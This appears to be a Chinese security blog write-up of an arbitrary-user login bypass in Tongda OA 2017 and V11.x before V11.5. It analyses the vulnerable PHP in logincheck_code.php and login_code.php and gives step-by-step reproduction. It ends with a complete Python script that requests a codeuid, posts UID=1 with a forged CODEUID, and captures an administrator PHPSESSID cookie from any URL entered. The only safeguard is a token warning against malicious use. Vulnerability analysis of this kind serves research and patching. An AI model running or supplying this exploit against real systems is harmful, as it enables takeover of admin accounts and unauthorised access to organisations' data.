0x01 影响版本
通达OA 2017
通达OA V11.X<V11.5
0x02 环境搭建
这里使用TDOA11.4
下载
https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://pan.baidu.com/s/1leUp2MOCNzSL36tRFHBQww 提取码:Mo60
解密
zend 5.4解密工具:https://www.cr173.com/soft/418289.html
在线解密网站:http://dezend.qiling.org/free/
0x03 分析
漏洞文件
webroot\logincheck_code.php
关键代码
通过POST接收UID跟CODEUID参数
$UID = intval($_POST['UID']);
$CODEUID = $_POST['CODEUID'];
login_codeuid 从redis缓存中TD::get_cache()获取"CODE_LOGIN" . $CODEUID",如果缓存里没有 CODE_LOGIN.$CODEUID就exit掉
$login_codeuid = TD::get_cache('CODE_LOGIN' . $CODEUID);
if (!isset($login_codeuid) || empty($login_codeuid)) {
$databack = array('status' => 0, 'msg' => _('参数错误!'), 'url' => 'general/index.php?isIE=0');
echo json_encode(td_iconv($databack, MYOA_CHARSET, 'utf-8'));
exit;
}
然后带入sql语句
$query = 'select * from user where uid=\'' . $UID . '\'';
$cursor = exequery(TD::conn(), $query1);
我们可以去数据库看看这条语句执行看看uid为1的用户是admin么,来到mysql5目录,查看my.ini获取密码
查询
大概在150行左右进行session进行赋值
那么我们只要绕过18行exit即可实现任意用户登入,ispirit\login_code.php设置了缓存我们可以利用
接收我们codeuid的值然后去查询缓存如果为空会getUniqid()生成一个
$codeuid = $_GET['codeuid'];
$login_codeuid = TD::get_cache('CODE_LOGIN_PC' . $codeuid);
if (empty($login_codeuid)) {
$login_codeuid = getUniqid();
}
通过set_cache方法设置了,然后echo通过json形式输出,但是这里设置的是CODE_LOGIN_PC,另外一个文件查询的是CODE_LOGIN_PC利用的时候要手动拼接_PC
$databack = array('codeuid' => $login_codeuid, 'source' => 'pc', 'codetime' => time());
$dataStr = td_authcode(json_encode($databack), 'ENCODE');
$dataStr = 'LOGIN_CODE' . $dataStr;
$databacks = array('codeuid' => $login_codeuid, 'authcode' => $dataStr);
TD::set_cache('CODE_LOGIN_PC' . $login_codeuid, $login_codeuid, 120);
echo json_encode(td_iconv($databacks, MYOA_CHARSET, 'utf-8'));
另外一处webroot\general\login_code.php,利用同上
0x04 复现
首先访问ispirit/login_code.php 得到codeuid
UID 设置成 1,然后 CODEUID 设置成: _PC+codeuid:访问logincheck_code.php
成功得到cookie
替换成功登入
0x04 TDOA11.3版本测试
这个版本的代码无需验证CODEUID直接传入uid即可利用
构造uid访问,得到cookie
替换cookie成功登入
0x05利用脚本
花了一小会写的,禁止拿去恶意渗透
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import re
url=input('url: ')
def getCodeuid():
try:
r=requests.get(url+'/ispirit/login_code.php')
return r.json().get('codeuid')
except:
return False
def getCookie():
codeuid=getCodeuid()
if codeuid:
data={'UID':'1','CODEUID':'_PC'+codeuid}
r=requests.post(url+'/logincheck_code.php',data=data)
if str(r.json().get('status')) in '1':
# print(r.headers['Set-Cookie'][0:38])
return(r.headers['Set-Cookie'])
return False
def checkCookie():
tmp=getCookie()
if tmp:
try:
tmp=re.findall('PHPSESSID=(.*)?;',tmp)
cookies={'PHPSESSID':tmp[0]+';'}
newurl=url+'/general/index.php'
r=requests.get(newurl,cookies=cookies)
if '用户未登录' in r.text:
return False
else:
print(newurl)
print(cookies)
return True
except:
return False
if __name__=="__main__":
if(checkCookie()):
print('OK')
else:
print('no')
运行测试
0x06 参考
https://xz.aliyun.com/t/7704
https://y4er.com/post/tongda-fake-user/